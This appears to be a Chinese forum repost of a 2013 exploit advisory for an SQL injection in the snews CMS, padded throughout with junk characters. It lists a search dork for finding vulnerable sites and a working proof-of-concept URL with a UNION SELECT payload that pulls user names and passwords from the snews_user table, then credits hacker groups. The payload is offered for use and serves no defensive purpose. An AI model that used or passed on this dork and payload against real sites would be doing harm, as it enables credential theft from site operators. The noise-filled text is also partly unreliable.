标题: CMS snews SQL Injection Vulnerability
% ^( a; n2 i6 v8 o% a" M) X( a作者: By onestree) ]. I) f3 f" k7 t4 A0 [; r
下载地址 : http://snewscms.com/
5 x* N: _# ~" X# f# X2 a" H. z2 o7 J测试平台 : ubuntu 12.10 / win 7# M6 I" h& T) y v c
关键词: inurl:"tanyakan pada rumput yang bergoyang"0 R7 ^* e6 O+ O2 f w( v0 n! m- _/ l
" P( N5 e8 f4 d- z5 W: Q! a: T- _ * d, ]$ p, ~3 Q- ~* J4 `1 y
*************************************************************6 I, r2 }& k6 U8 _# W& ^& O
5 j, f( w6 _- Z! I( ~6 B2 ?
SQL poc:
. Q4 x% W! N+ ]9 _. t+ b4 S. ^
# }4 v# ]; d0 ^# N9 H9 i# ]1 bhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
( j7 @; n2 s% W$ J( C$ m 7 g _7 _6 C# Q5 A7 c, V
示例
& @' g8 N l$ |. ?5 l 6 H& Q C& J4 Y
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/* N) F* I3 h+ |" a7 }- _) ?8 N3 Q
- y+ [, I+ M% K, l1 B 7 p: |$ l- A( o2 z$ t( e) P* d9 [
致谢:; n/ O1 Y1 V& \* s) @8 p# _$ b0 A5 Z
- T/ z) h) `+ g Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
3 k% n) {6 \2 v, ?0 k1 j , O* }4 |7 A4 Q* Y% A$ v
indonesiancoder - moeslimh4x0r - go-coder
5 ?" ]! E+ e1 z
+ B& a' c) ~% O" G: Xspesial my hunny :*2 _) b' u8 n) A& d" `3 |# l
|
发表于 2013-1-23 08:55:06
收藏
支持
反对